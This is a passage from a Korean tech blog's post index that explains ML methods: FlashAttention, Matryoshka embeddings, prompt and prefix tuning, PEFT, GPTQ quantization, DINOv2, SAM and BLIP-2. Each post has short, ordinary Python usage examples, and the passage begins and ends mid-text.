1GB가 어텐션 행렬에만 필요하다. FlashAttention은 이 행렬을 저장하지 않아 수십 배 적은 메모리로 같은 컨텍스트 길이를 처리한다.\n긴 컨텍스트를 가능하게 하다 FlashAttention이 없었다면 현재의 100K+ 컨텍스트 LLM은 불가능했다. 컨텍스트 길이가 늘어날수록 FlashAttention의 메모리 절약 효과가 커진다.\nGPT-4, Claude, LLaMA 2 이후 대부분의 대형 모델이 FlashAttention을 기본으로 사용한다.\nFlashAttention-2 (2023) 작업 분할 방식을 개선해 FlashAttention 대비 2배 추가 속도 향상을 달성했다. 시퀀스 길이 방향으로 병렬화해 GPU 점유율을 높였다.\nFlashAttention-3 (2024) H100 GPU의 비동기 실행(async warpgroups)과 FP8 저정밀도를 활용한다. A100 대비 H100에서 1.5~2배 추가 속도 향상.\nPagedAttention과의 차이 086이 학습/추론 효율화라면, PagedAttention(vLLM, 092에서 다룸)은 서빙 효율화다. FlashAttention은 단일 요청의 어텐션 계산을 빠르게 하고, PagedAttention은 다수 요청의 KV 캐시를 효율적으로 관리한다. 두 기술은 상호 보완적이다.\n트레이드오프 CUDA 커널을 직접 작성해야 해 구현이 복잡하다. PyTorch 기본 연산으로는 구현할 수 없고, 하드웨어(NVIDIA GPU)에 종속적이다. AMD GPU나 Apple Silicon에서는 별도 구현이 필요하다. 그러나 PyTorch 2.0부터 scaled_dot_product_attention 함수가 FlashAttention을 내부적으로 사용해 사용자가 직접 신경 쓸 필요가 없어졌다.\n","permalink":"https://charminggroot.github.io/posts/086-flash-attention/","summary":"FlashAttention(2022)은 트랜스포머 어텐션의 메모리 병목을 IO-Aware 타일링으로 해결한다. 어텐션 행렬을 HBM에 저장하지 않고 SRAM에서 직접 계산해 메모리 사용량을 O(n)으로 줄이고 속도를 2~4배 높인다.","title":"086. FlashAttention — 어텐션 메모리 최적화"},{"content":"임베딩 차원은 보통 고정이다. 768차원 모델은 항상 768차원 벡터를 반환한다. 정밀도가 필요할 때는 차원이 크면 좋지만, 빠른 검색이나 저장 공간 절약이 필요할 때는 작은 차원이 낫다. 두 요구를 한 모델로 처리할 수 없었다.\nGoogle Research의 Kusupati 등이 2022년 발표한 MRL(Matryoshka Representation Learning)은 이 문제를 해결한다. 러시아 전통 인형 마트료시카처럼, 큰 임베딩 안에 여러 크기의 유효한 임베딩이 중첩된다.\n학습 방식 MRL은 하나의 학습 과정에서 여러 차원의 임베딩을 동시에 최적화한다.\n전체 d차원 임베딩과 그 앞부분 d/2, d/4, d/8\u0026hellip; 차원 임베딩이 모두 잘 동작하도록 손실 함수를 설계한다.\n총 손실 = Σ loss(임베딩[:d]) + loss(임베딩[:d/2]) + ... + loss(임베딩[:8]) 임베딩[:d/2]는 d차원 임베딩의 앞 절반만 사용 이 학습 방식으로 앞부분 차원들이 가장 중요한 정보를 담도록 정렬된다. 뒤로 갈수록 세밀한 보조 정보를 담는다.\n실제 사용 from openai import OpenAI client = OpenAI() # text-embedding-3 계열이 MRL 방식 response = client.embeddings.create( model=\u0026#34;text-embedding-3-large\u0026#34;, # 최대 3072차원 input=\u0026#34;k8s에서 HPA 동작 방식\u0026#34;, dimensions=256 # 256차원으로 잘라내기 ) embedding = response.data[0].embedding # len(embedding) == 256 dimensions 파라미터로 원하는 차원을 지정한다. API가 내부적으로 앞부분만 반환한다.\n직접 자를 수도 있다.\nfull_embedding = get_embedding(text) # 1536차원 small_embedding = full_embedding[:256] # 앞 256차원만 사용 small_embedding = small_embedding / norm(small_embedding) # L2 정규화 필수 차원별 성능 MTEB 기준 text-embedding-3-large의 차원별 성능:\n차원 MTEB 평균 3072 (전체) 64.6 1536 64.1 512 63.0 256 61.6 64 55.4 3072차원의 96%를 512차원으로 달성한다. 저장 공간은 6분의 1이다.\n실용적 활용 2단계 검색 파이프라인: 1단계에서 작은 차원(빠른 검색)으로 후보를 넓게 추출하고, 2단계에서 큰 차원으로 재정렬한다. 단일 임베딩 모델로 Bi-Encoder의 역할을 두 스케일에서 수행한다.\n비용-성능 최적화: 수억 개 벡터를 저장할 때 차원을 절반으로 줄이면 저장 비용도 절반이다. MTEB 점수 손실이 크지 않으면 충분히 가치 있는 트레이드오프다.\n엣지 디바이스: 모바일이나 임베디드 환경에서 64~128차원으로 가볍게 사용한다.\n비MRL 모델과의 차이 일반 임베딩 모델을 임의로 잘라내면 성능이 급격히 떨어진다. 뒷부분 차원도 중요한 정보를 담고 있기 때문이다. MRL은 앞부분에 정보를 집중시키도록 학습해 잘라내도 성능이 유지된다.\nall-MiniLM-L6-v2처럼 MRL이 아닌 모델의 384차원 임베딩을 절반으로 자르면 성능이 크게 떨어진다.\n트레이드오프 MRL 학습은 여러 차원에서 동시에 최적화하므로 단일 차원 최적화보다 학습이 복잡하다. 그러나 OpenAI text-embedding-3 계열처럼 사전학습된 MRL 모델을 사용한다면 이 복잡성은 사용자에게 투명하다. 사용 측면에서는 유연성만 얻는다.\n","permalink":"https://charminggroot.github.io/posts/087-matryoshka/","summary":"MRL(Matryoshka Representation Learning, 2022)은 하나의 임베딩 모델이 다양한 차원에서 모두 좋은 성능을 내도록 학습하는 방법이다. 큰 임베딩 벡터의 앞부분만 잘라내도 성능이 유지된다. 저장/속도와 정확도 사이를 동적으로 조절할 수 있다.","title":"087. Matryoshka Representation Learning — 가변 차원 임베딩"},{"content":"모델이 커질수록 파인튜닝 비용이 커진다. 175B 파라미터 GPT-3를 태스크마다 완전히 파인튜닝하면 각각 350GB 모델 사본이 필요하다. 1,000개 태스크면 350TB다.\n파라미터 효율적 파인튜닝(PEFT)의 출발점 중 하나가 소프트 프롬프트(soft prompt)다.\nPrompt Tuning (2021, Google) Lester 등이 T5를 대상으로 발표했다. 아이디어는 단순하다.\n하드 프롬프트: \u0026quot;텍스트를 긍정/부정으로 분류하세요: {입력}\u0026quot;처럼 사람이 작성한 텍스트.\n소프트 프롬프트: 텍스트가 아니라 학습 가능한 임베딩 벡터를 입력 앞에 붙인다. 이 벡터들이 모델에게 \u0026ldquo;이렇게 동작하라\u0026quot;는 조건 역할을 한다.\n일반 입력: [텍스트 토큰들] → 모델 → 출력 Prompt Tuning: [소프트 토큰 k개] + [텍스트 토큰들] → 모델 → 출력 모델 가중치는 전혀 건드리지 않는다. 소프트 토큰 임베딩(k × d 파라미터, 보통 k=100, d=768)만 학습한다.\n성능: 모델이 충분히 크면(11B 이상) 전체 파인튜닝과 비슷한 성능이 나온다. 작은 모델에서는 차이가 있다.\n# PEFT 라이브러리로 Prompt Tuning 적용 from peft import PromptTuningConfig, get_peft_model, TaskType config = PromptTuningConfig( task_type=TaskType.CAUSAL_LM, num_virtual_tokens=20, # 소프트 프롬프트 토큰 수 tokenizer_name_or_path=\u0026#34;gpt2\u0026#34;, ) model = get_peft_model(base_model, config) # 학습 가능한 파라미터: 20 × 768 = 15,360 (전체의 0.002%) Prefix Tuning (2021, Stanford) Li와 Liang이 GPT-2와 BART를 대상으로 발표했다. Prompt Tuning과 유사하지만 더 깊이 개입한다.\nPrompt Tuning은 입력 임베딩 레이어에만 소프트 프롬프트를 추가한다. Prefix Tuning은 모든 트랜스포머 레이어의 Key와 Value에 학습 가능한 접두사를 추가한다.\n각 레이어에서: Attention(Q, [Prefix_K; K], [Prefix_V; V]) 일반 K, V에 학습된 Prefix_K, Prefix_V를 앞에 이어붙임 모든 레이어에서 직접 어텐션을 통해 소프트 프롬프트의 영향을 준다. Prompt Tuning보다 영향력이 강해 작은 모델에서도 효과가 있다.\n파라미터 수는 레이어 × 접두사 길이 × 히든 크기 × 2(K, V)다. 전체 파라미터의 0.1~1% 수준.\n직접 최적화가 불안정해서 원래 논문에서는 소규모 MLP를 통해 Prefix를 생성하고 추론 시에는 MLP를 제거한다.\nPrompt Tuning vs Prefix Tuning vs 전체 파인튜닝 방식 학습 파라미터 소규모 모델 저장 공간 병합 가능 전체 파인튜닝 100% 최고 모델 전체 — Prefix Tuning 0.1~1% 좋음 접두사만 불가 Prompt Tuning \u0026lt;0.1% 약함 극소 불가 LoRA 0.1~1% 좋음 작음 가능 LoRA(089)가 나오면서 소프트 프롬프트 방식보다 더 많이 쓰이게 됐다. LoRA는 가중치에 직접 개입하므로 작은 모델에서도 성능이 좋고, 파인튜닝된 가중치를 원본과 병합할 수 있어 추론 오버헤드가 없다.\n실용적 의미 소프트 프롬프트 방식의 가장 큰 장점은 동일한 베이스 모델을 여러 태스크에 공유한다는 것이다.\n동일한 GPT-3 가중치 + Prefix_번역 → 번역 모델 + Prefix_분류 → 분류 모델 + Prefix_요약 → 요약 모델 추론 시 태스크별 접두사만 바꾸면 된다. 서버 한 대에 GPT-3를 한 번만 올려두고 접두사로 태스크를 전환한다. 메모리 효율이 극적으로 좋다.\n트레이드오프 소프트 프롬프트는 사람이 해석할 수 없다. 어떤 의미를 학습했는지 알 수 없다. 디버깅이 어렵고 특정 도메인 지식을 명시적으로 주입하기 어렵다. 또한 학습에 사용한 모델 버전에 종속된다. 모델이 업데이트되면 소프트 프롬프트를 재학습해야 한다.\n","permalink":"https://charminggroot.github.io/posts/088-prompt-prefix-tuning/","summary":"Prompt Tuning과 Prefix Tuning은 모델 가중치를 고정하고 입력 앞에 붙이는 학습 가능한 벡터(소프트 프롬프트)만 학습한다. 전체 파인튜닝의 0.1% 미만 파라미터로 비슷한 성능을 달성한다.","title":"088. Prompt Tuning / Prefix Tuning — 소프트 프롬프트 학습"},{"content":"파라미터 효율적 파인튜닝 기법들(LoRA, Prefix Tuning, Prompt Tuning 등)은 각자 별도 코드베이스로 구현됐다. 모델마다, 태스크마다 통합 방법이 달랐다.\nHugging Face의 PEFT 라이브러리는 이 기법들을 하나의 통일된 API로 제공한다. transformers 생태계와 자연스럽게 통합된다.\n지원 기법 LoRA (Low-Rank Adaptation): 어텐션 레이어의 가중치 업데이트를 저랭크 행렬로 근사한다. 가장 널리 쓰인다. 다음 글(090)에서 Quantization과 함께 QLoRA로 다룬다.\nPrefix Tuning: 각 레이어의 Key/Value에 학습 가능한 접두사를 추가한다. 088에서 설명했다.\nPrompt Tuning: 입력 임베딩에 소프트 프롬프트를 추가한다. 088에서 설명했다.\nAdapter: 트랜스포머 레이어 사이에 작은 보틀넥 레이어를 삽입한다. 원본 가중치는 고정하고 Adapter만 학습한다. Prefix보다 레이어 수준에서 더 유연한 조정이 가능하다.\nIA3 (Infused Adapter by Inhibiting and Amplifying Inner Activations): 가중치를 변경하지 않고 학습된 스케일 벡터를 곱해 활성화를 조정한다. LoRA보다 더 적은 파라미터(~10배)로 비슷한 성능을 낸다.\n통일된 API from peft import ( get_peft_model, LoraConfig, PrefixTuningConfig, PromptTuningConfig, TaskType, ) from transformers import AutoModelForSeq2SeqLM model = AutoModelForSeq2SeqLM.from_pretrained(\u0026#34;t5-base\u0026#34;) # LoRA 설정 lora_config = LoraConfig( task_type=TaskType.SEQ_2_SEQ_LM, r=8, # 랭크 lora_alpha=32, # 스케일링 계수 target_modules=[\u0026#34;q\u0026#34;, \u0026#34;v\u0026#34;], # 어텐션 Q, V에 적용 lora_dropout=0.1, ) peft_model = get_peft_model(model, lora_config) peft_model.print_trainable_parameters() # trainable params: 294,912 || all params: 247,577,856 || trainable%: 0.12% # 학습 (일반 Trainer와 동일) trainer = Trainer(model=peft_model, ...) trainer.train() # 저장 (어댑터 가중치만) peft_model.save_pretrained(\u0026#34;./lora-t5\u0026#34;) # 파일 크기: ~1MB (전체 모델 900MB 대비) 로드와 추론 from peft import PeftModel base_model = AutoModelForSeq2SeqLM.from_pretrained(\u0026#34;t5-base\u0026#34;) model = PeftModel.from_pretrained(base_model, \u0026#34;./lora-t5\u0026#34;) # 여러 어댑터를 전환 model.load_adapter(\u0026#34;./lora-translation\u0026#34;, adapter_name=\u0026#34;translation\u0026#34;) model.load_adapter(\u0026#34;./lora-summary\u0026#34;, adapter_name=\u0026#34;summary\u0026#34;) model.set_adapter(\u0026#34;translation\u0026#34;) output = model.generate(...) model.set_adapter(\u0026#34;summary\u0026#34;) output = model.generate(...) 같은 베이스 모델에 태스크별 어댑터를 교체하며 사용한다.\n어댑터 병합 LoRA는 추론 시 별도 어댑터 레이어가 필요해 약간의 오버헤드가 있다. 병합하면 오버헤드가 사라진다.\n# LoRA 가중치를 베이스 모델에 병합 merged_model = peft_model.merge_and_unload() # 이제 일반 모델과 동일, LoRA 오버헤드 없음 merged_model.save_pretrained(\u0026#34;./merged-model\u0026#34;) 병합 후에는 어댑터를 교체할 수 없다.\n멀티 어댑터 조합 여러 LoRA를 가중 합산으로 동시에 적용할 수 있다.\n# LoRA A (코딩 스타일)와 LoRA B (한국어) 동시 적용 model.add_weighted_adapter( adapters=[\u0026#34;coding\u0026#34;, \u0026#34;korean\u0026#34;], weights=[0.7, 0.3], adapter_name=\u0026#34;combined\u0026#34; ) LoRA 가중치를 선형 결합하는 방식이다. 두 특성을 동시에 부여하거나 강도를 조절할 수 있다.\n트레이드오프 PEFT는 전체 파인튜닝보다 표현력이 제한된다. 태스크가 베이스 모델의 능력 범위 안에 있다면 PEFT로 충분하지만, 베이스 모델이 전혀 다루지 않은 도메인이나 완전히 새로운 형식의 출력이 필요하면 전체 파인튜닝이 필요할 수 있다.\n또한 어댑터 개수가 늘어나면 관리가 복잡해진다. 베이스 모델 버전과 어댑터 버전의 호환성을 추적해야 한다. Hugging Face Hub에 어댑터를 공개하면 커뮤니티와 공유할 수 있어 이 문제를 일부 완화한다.\n","permalink":"https://charminggroot.github.io/posts/089-peft/","summary":"PEFT(Parameter-Efficient Fine-Tuning)는 Hugging Face가 관리하는 파인튜닝 기법 모음 라이브러리다. LoRA, Prefix Tuning, Prompt Tuning, Adapter, IA3 등의 기법을 통일된 API로 제공한다. 모델 가중치의 1% 미만 파라미터만 학습해 전체 파인튜닝에 가까운 성능을 낸다.","title":"089. PEFT — 파라미터 효율적 파인튜닝 프레임워크"},{"content":"LLaMA-65B를 FP16으로 올리려면 130GB VRAM이 필요하다. A100 80GB 두 장이 있어야 한다. 대부분의 환경에서는 불가능하다.\n양자화(quantization)는 가중치를 낮은 정밀도로 저장해 메모리를 줄인다. FP16(16비트) → INT4(4비트)면 4배 작아진다. 65B 모델이 32.5GB로 줄어 단일 A100에 올라간다.\n문제는 품질 손실이다. 단순히 반올림하면 정보가 손실돼 성능이 크게 떨어진다.\nGPTQ의 접근 Frantar 등이 2022년 발표한 GPTQ는 **2차 정보(Hessian)**를 활용해 양자화 오차를 최소화한다.\n핵심 아이디어: 한 가중치를 양자화해 오차가 생기면, 나머지 가중치를 조정해 전체 레이어 출력이 원래와 같아지도록 보상한다.\n원본 레이어 출력 = W × X 양자화 후: Q(W) × X + 오차 GPTQ: Q(W) + 보정항 ≈ W 보정항은 남은 가중치들이 흡수 이 과정에서 2차 미분(Hessian)으로 각 가중치가 출력에 미치는 영향을 정량화해 보정 우선순위를 정한다.\n적용 과정 재학습이 필요 없다. 소량의 보정 데이터(calibration data, 128~512 샘플)만 필요하다.\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, GPTQConfig quantization_config = GPTQConfig( bits=4, # 4비트 양자화 group_size=128, # 128개 가중치마다 독립 양자화 dataset=\u0026#34;wikitext2\u0026#34;, # 보정 데이터 ) model = AutoModelForCausalLM.from_pretrained( \u0026#34;meta-llama/Llama-2-7b-hf\u0026#34;, quantization_config=quantization_config, device_map=\u0026#34;auto\u0026#34;, ) group_size는 몇 개의 가중치를 하나의 양자화 그룹으로 묶는지다. 작을수록 정밀도가 높지만 오버헤드가 커진다.\n성능 비교 LLaMA-7B 기준:\n정밀도 메모리 Perplexity 비고 FP16 14GB 5.68 기준 INT8 7GB 5.72 거의 동일 INT4 (GPTQ) 3.5GB 5.85 약간 하락 INT3 2.6GB 6.34 눈에 띄는 하락 INT4가 FP16 대비 성능 손실이 작아 실용적인 선택이다.\nHugging Face 생태계 TheBloke 같은 커뮤니티 기여자들이 수천 개의 모델을 미리 GPTQ로 양자화해 Hugging Face Hub에 올려뒀다. 직접 양자화할 필요 없이 다운로드해서 바로 쓸 수 있다.\n# 미리 양자화된 모델 사용 model = AutoModelForCausalLM.from_pretrained( \u0026#34;TheBloke/Llama-2-7B-GPTQ\u0026#34;, device_map=\u0026#34;auto\u0026#34;, ) AWQ, GGUF와의 비교 세 가지 모두 LLM 양자화 방법이지만 설계 목표가 다르다.\nGPTQ: GPU 추론 최적화. 배치 처리에 유리. 서버 배포에 적합.\nAWQ (Activation-aware Weight Quantization, 2023): 중요한 가중치를 선별적으로 보호해 GPTQ보다 품질이 좋다. 실용적으로 비슷한 용도.\nGGUF (llama.cpp 포맷, 2023): CPU 추론 최적화. 맥북 같은 소비자 하드웨어에서 실행. 레이어를 VRAM과 RAM에 나눠 올릴 수 있어 VRAM이 부족한 환경에서 유리하다.\nGPU 서버 배포라면 GPTQ나 AWQ, 로컬 실행이라면 GGUF가 적합하다. 091에서 AWQ와 GGUF를 자세히 다룬다.\n트레이드오프 양자화는 불가역적이다. 4비트로 압축하면 원본 FP16 정밀도로 복원할 수 없다. 또한 양자화 비율이 높아질수록(3비트 이하) 특정 태스크에서 성능이 급격히 떨어질 수 있다. 수학 추론, 코딩 같이 정밀한 작업이 일반 대화보다 양자화에 더 민감하다.\n추론 속도는 하드웨어에 따라 다르다. INT4 연산이 FP16보다 처리량이 높지만, 역양자화(dequantization) 오버헤드가 있어 단순히 4배 빠르지는 않다. 실제로는 1.5~3배 속도 향상 정도다.\n","permalink":"https://charminggroot.github.io/posts/090-gptq/","summary":"GPTQ(2022)는 LLM 가중치를 4비트로 압축하는 사후 학습 양자화 방법이다. 재학습 없이 보정 데이터만으로 FP16 대비 4배 작은 모델을 만들고, 성능 손실을 최소화한다. 소비자 GPU에서 대형 모델을 실행하는 실용적인 방법이다.","title":"090. GPTQ — 사후 학습 양자화"},{"content":"DINO(082)는 레이블 없이 의미 있는 비전 표현을 학습할 수 있음을 보였다. 그러나 학습 데이터 규모와 질이 제한적이었다.\nMeta AI가 2023년 발표한 DINOv2는 같은 원리를 훨씬 더 큰 스케일로 확장했다. 핵심은 데이터 큐레이션이다.\n자동 데이터 큐레이션 이전 자기지도 모델들은 인터넷에서 무작위로 수집한 이미지를 그대로 사용했다. DINOv2는 데이터 품질에 집착했다.\nLVD-142M 데이터셋 구축 과정\n인터넷에서 수집한 무제한 이미지 풀 ImageNet-22K 같은 큐레이션된 시드 데이터셋과 임베딩 유사도 비교 시드와 너무 가깝거나(중복) 너무 다른(노이즈) 이미지 제거 클래스 균형을 위한 지역 중복 제거(deduplication) 결과: 1억 4200만 장의 정제된 이미지. 규모도 크고 다양성도 높다.\n학습 방식 DINO + iBOT을 결합했다. DINO는 이미지 수준의 표현을, iBOT은 패치 수준의 표현을 학습한다.\niBOT (image BERT pre-training with Online Tokenizer): BERT의 MLM처럼 이미지 패치를 마스킹하고 복원한다. 패치 수준에서 세밀한 특징을 학습한다.\nDINO의 전역 표현 + iBOT의 지역 패치 표현을 함께 학습해 두 가지 추상화 수준에서 모두 좋은 특징을 갖는다.\n범용성 DINOv2의 핵심 주장은 파인튜닝 없이도 다양한 태스크에 쓸 수 있다는 것이다. 특징 추출기(feature extractor)로만 사용하고 선형 레이어를 얹어도 충분하다.\n분류: ImageNet에서 선형 프로빙으로 86.5% (ViT-G/14 기준). 파인튜닝된 모델과 비슷한 수준.\n깊이 추정: 픽셀별 깊이를 예측하는 태스크. 선형 레이어만 추가해도 SOTA에 가까운 성능. DINOv2 특징이 3D 기하학 정보를 암묵적으로 포착하고 있다.\n세그멘테이션: 어텐션 맵이 객체 경계를 따르는 DINO의 특성이 더 강화됐다.\n이미지 검색: 특징 벡터의 코사인 유사도만으로 시각적으로 유사한 이미지를 잘 찾는다.\nfrom transformers import AutoImageProcessor, AutoModel from PIL import Image import torch processor = AutoImageProcessor.from_pretrained(\u0026#39;facebook/dinov2-base\u0026#39;) model = AutoModel.from_pretrained(\u0026#39;facebook/dinov2-base\u0026#39;) image = Image.open(\u0026#34;image.jpg\u0026#34;) inputs = processor(images=image, return_tensors=\u0026#34;pt\u0026#34;) with torch.no_grad(): outputs = model(**inputs) # CLS 토큰: 이미지 전체 표현 (1×768) cls_features = outputs.last_hidden_state[:, 0, :] # 패치 토큰: 공간 정보 포함 (256×768, 16×16 그리드) patch_features = outputs.last_hidden_state[:, 1:, :] LLM과의 통합 DINOv2는 비전-언어 멀티모달 모델의 비전 인코더로 많이 사용된다. LLaVA 계열 모델들이 DINOv2나 CLIP ViT를 비전 인코더로 선택한다. CLIP은 텍스트와의 정렬이 강하지만 세밀한 시각적 특징이 약한 반면, DINOv2는 순수 비전 표현이 강하다.\n크기 옵션 모델 파라미터 패치 크기 특징 차원 dinov2-small 22M 14×14 384 dinov2-base 86M 14×14 768 dinov2-large 307M 14×14 1024 dinov2-giant 1.1B 14×14 1536 트레이드오프 DINOv2는 레이블 없이 학습했으므로 특정 클래스 분류에서 지도 학습 모델보다 약간 낮을 수 있다. 그러나 다양한 태스크에 즉시 사용 가능한 범용성이 압도적 장점이다. 파인튜닝 없이 특징만 추출해 쓰는 \u0026ldquo;특징 추출기\u0026rdquo; 패턴은 빠른 프로토타입 제작에 이상적이다.\n/14 패치 크기는 /16보다 세밀하지만 토큰 수가 1.3배 많아 계산량이 늘어난다. 속도보다 정확도가 중요하다면 giant/14, 속도가 중요하다면 base/14가 현실적인 선택이다.\n","permalink":"https://charminggroot.github.io/posts/091-dinov2/","summary":"DINOv2(2023)는 1억 4200만 장의 정제된 이미지로 학습한 자기지도 비전 모델이다. 파인튜닝 없이 깊이 추정, 세그멘테이션, 분류, 검색 등 다양한 비전 태스크에 직접 사용할 수 있는 범용 비전 특징 추출기다.","title":"091. DINOv2 — 범용 비전 특징 추출기"},{"content":"이미지 세그멘테이션은 픽셀 수준에서 객체를 분리하는 태스크다. 그동안의 모델들은 특정 도메인에 특화됐다. 의료 영상 세그멘테이션 모델, 자율주행 도로 세그멘테이션 모델, 위성 영상 모델이 각각 별도로 존재했다.\nMeta AI가 2023년 발표한 SAM(Segment Anything Model)은 다른 접근을 택했다. \u0026ldquo;어떤 이미지에서도 어떤 객체든 분리할 수 있는 범용 모델\u0026quot;이다.\n세 가지 구성요소 이미지 인코더: MAE로 사전학습된 ViT-H. 이미지를 한 번만 인코딩해 임베딩을 만든다. 계산 비용이 크므로 미리 계산해 캐시한다.\n프롬프트 인코더: 다양한 형태의 프롬프트를 임베딩으로 변환한다.\n점(Point): 객체 안이면 positive, 배경이면 negative 박스(Bounding Box): 객체를 감싸는 직사각형 마스크: 이전 마스크 예측 결과를 다음 단계 힌트로 사용 텍스트: CLIP 텍스트 임베딩 (실험적) 마스크 디코더: 이미지 임베딩과 프롬프트 임베딩을 받아 마스크를 생성한다. 경량 트랜스포머 구조라 추론이 빠르다(CPU에서 50ms 미만).\n프롬프트 방식 세그멘테이션 from segment_anything import SamPredictor, sam_model_registry from PIL import Image import numpy as np sam = sam_model_registry[\u0026#34;vit_h\u0026#34;](checkpoint=\u0026#34;sam_vit_h_4b8939.pth\u0026#34;) predictor = SamPredictor(sam) image = np.array(Image.open(\u0026#34;image.jpg\u0026#34;)) predictor.set_image(image) # 이미지 인코딩 (한 번만 실행) # 점 프롬프트: 객체 내부 좌표 masks, scores, logits = predictor.predict( point_coords=np.array([[500, 375]]), # 객체 안의 점 point_labels=np.array([1]), # 1=positive, 0=negative multimask_output=True, # 여러 후보 마스크 반환 ) # masks.shape: (3, H, W) — 3개 후보 마스크 # 박스 프롬프트 masks, _, _ = predictor.predict( box=np.array([425, 600, 700, 875]), # [x1, y1, x2, y2] multimask_output=False, ) 자동 마스크 생성 프롬프트 없이 이미지 전체의 모든 객체를 자동으로 분리한다.\nfrom segment_anything import SamAutomaticMaskGenerator mask_generator = SamAutomaticMaskGenerator(sam) masks = mask_generator.generate(image) # 이미지 내 모든 객체의 마스크 목록 # 각 마스크: {segmentation, area, bbox, stability_score, ...} 이미지를 격자로 나눠 각 점에서 마스크를 예측하고, NMS로 중복을 제거한다. 결과적으로 이미지의 모든 분리 가능한 객체가 마스크로 나온다.\nSA-1B 데이터셋 11억 개 마스크, 1100만 장 이미지로 구성된 역대 최대 세그멘테이션 데이터셋이다. 세 단계로 구축했다.\n전문가가 수동으로 일부 마스크 레이블링 SAM이 나머지 마스크를 예측하면 전문가가 수정(Semi-automatic) 충분히 학습된 SAM이 자동으로 마스크 생성 이 부트스트래핑 과정으로 수동 레이블링만으로는 불가능한 규모의 데이터를 만들었다.\nSAM 2 (2024) 비디오 세그멘테이션으로 확장했다. 비디오의 한 프레임에서 객체를 지정하면 전체 비디오에서 추적한다. 스트리밍 추론을 지원해 실시간 처리가 가능하다.\n활용 사례 사진 편집: 배경 제거, 객체 선택 의료 영상: 병변, 기관 윤곽 추출 위성 영상: 건물, 도로, 농경지 추출 로봇: 조작 대상 객체 인식 데이터 레이블링: 어노테이션 보조 도구 트레이드오프 SAM은 \u0026ldquo;어떤 객체\u0026quot;를 분리하는 능력이 강하지만, 특정 도메인의 의미론적 레이블(이것은 \u0026ldquo;종양\u0026quot;이다, 이것은 \u0026ldquo;자전거 도로\u0026quot;다)은 없다. 세그멘테이션 마스크만 제공하고 클래스 분류는 별도 모델이 담당해야 한다.\nViT-H 기반 전체 모델은 추론이 느리다. 이미지 인코딩이 GPU에서 수백 밀리초 걸린다. 실시간 요구가 있다면 MobileSAM, EfficientSAM 같은 경량화 버전이 있다.\n","permalink":"https://charminggroot.github.io/posts/092-sam/","summary":"SAM(2023)은 Meta AI가 발표한 범용 이미지 세그멘테이션 모델이다. 점, 박스, 텍스트 등 다양한 프롬프트로 이미지의 어떤 객체든 마스크를 생성한다. 11억 개 마스크로 학습된 파운데이션 모델로, 파인튜닝 없이 대부분의 세그멘테이션 태스크에 적용된다.","title":"092. SAM — Segment Anything Model"},{"content":"BLIP(084)의 한계는 이미지 인코더와 언어 모델이 강하게 결합됐다는 것이다. 더 강력한 LLM(Flan-T5 11B, OPT 66B 등)을 연결하려면 처음부터 다시 학습해야 했다.\nSalesforce Research가 2023년 발표한 BLIP-2는 이 문제를 Q-Former라는 중간 모듈로 해결했다.\n설계 철학 \u0026ldquo;비전 인코더와 LLM 사이의 표현 차이를 최소 비용으로 메운다.\u0026rdquo;\n두 모델 모두 고정한다. 학습하는 것은 중간의 Q-Former뿐이다.\n[이미지 인코더] → 고정 (ViT-G/14 from EVA-CLIP) ↓ [Q-Former] ← 학습 (188M 파라미터) ↓ [LLM] → 고정 (Flan-T5 또는 OPT) 전체 파라미터의 매우 작은 비율만 학습해 대규모 GPU 클러스터 없이도 학습 가능하다.\nQ-Former (Querying Transformer) 32개의 학습 가능한 쿼리 벡터를 BERT 기반 트랜스포머로 처리한다.\n이미지와의 어텐션: 쿼리 벡터들이 이미지 인코더 출력에 크로스 어텐션한다. 이미지의 어떤 정보가 언어 이해에 중요한지 학습한다.\n텍스트와의 어텐션: 동시에 텍스트 토큰과 셀프 어텐션한다. 텍스트 맥락에 맞는 시각 정보를 추출한다.\n결과: 32개 쿼리 벡터의 출력이 이미지를 32개 시각 토큰으로 압축한 것이다. LLM의 텍스트 토큰과 같은 차원으로 변환해 LLM 입력 앞에 붙인다.\n2단계 학습 1단계: 비전-언어 표현 학습\nLLM 없이 Q-Former만 학습한다. BLIP과 같은 세 가지 목표를 사용한다.\nITC (이미지-텍스트 대조 학습) ITM (이미지-텍스트 매칭) ITG (이미지에서 텍스트 생성) 129M 쌍의 이미지-텍스트 데이터로 학습.\n2단계: 생성적 사전학습\nLLM을 고정하고 Q-Former 출력을 LLM 입력으로 연결하는 선형 투영 레이어를 추가로 학습한다.\nQ-Former 출력 (32 × 768) → 선형 투영 → (32 × LLM_dim) LLM이 시각 토큰을 소프트 프롬프트처럼 처리하면서 이미지 내용을 이해한다.\n사용 from transformers import Blip2Processor, Blip2ForConditionalGeneration from PIL import Image processor = Blip2Processor.from_pretrained(\u0026#34;Salesforce/blip2-opt-2.7b\u0026#34;) model = Blip2ForConditionalGeneration.from_pretrained(\u0026#34;Salesforce/blip2-opt-2.7b\u0026#34;) image = Image.open(\u0026#34;image.jpg\u0026#34;) # 이미지 캡셔닝 (프롬프트 없음) inputs = processor(image, return_tensors=\u0026#34;pt\u0026#34;) generated = model.generate(**inputs) caption = processor.decode(generated[0], skip_special_tokens=True) # VQA (프롬프트 있음) question = \u0026#34;Question: How many people are in the image? Answer:\u0026#34; inputs = processor(image, question, return_tensors=\u0026#34;pt\u0026#34;) generated = model.generate(**inputs) answer = processor.decode(generated[0], skip_special_tokens=True) LLM 교체의 이점 Q-Former 덕분에 백엔드 LLM을 교체할 수 있다.\nblip2-opt-2.7b: 빠르고 가벼움 blip2-flan-t5-xl: 지시 따르기 능력 강함 blip2-flan-t5-xxl: 최고 성능 LLM만 교체하고 Q-Former를 재학습하면 멀티모달 능력이 새 LLM 수준으로 향상된다. 전체 모델을 처음부터 재학습하는 것보다 훨씬 효율적이다.\nInstructBLIP BLIP-2를 Instruction Tuning으로 개선했다. 다양한 지시 형식으로 파인튜닝해 \u0026ldquo;이미지에서 텍스트를 찾아라\u0026rdquo;, \u0026ldquo;두 이미지를 비교하라\u0026rdquo; 같은 다양한 지시에 따를 수 있다.\nLLaVA와의 비교 BLIP-2가 Q-Former로 시각 특징을 압축하는 반면, LLaVA(094)는 모든 패치 특징을 선형 투영만으로 LLM에 전달한다. 접근이 다르지만 둘 다 \u0026ldquo;비전 인코더 + 경량 연결 레이어 + 고정 LLM\u0026rdquo; 설계를 따른다.\n트레이드오프 Q-Former가 이미지를 32개 토큰으로 압축하면 세밀한 시각 정보가 손실될 수 있다. 고해상도 이미지나 복잡한 시각적 추론이 필요한 태스크에서 한계가 있다. LLaVA처럼 모든 패치 특징을 전달하는 방식이 정보 손실은 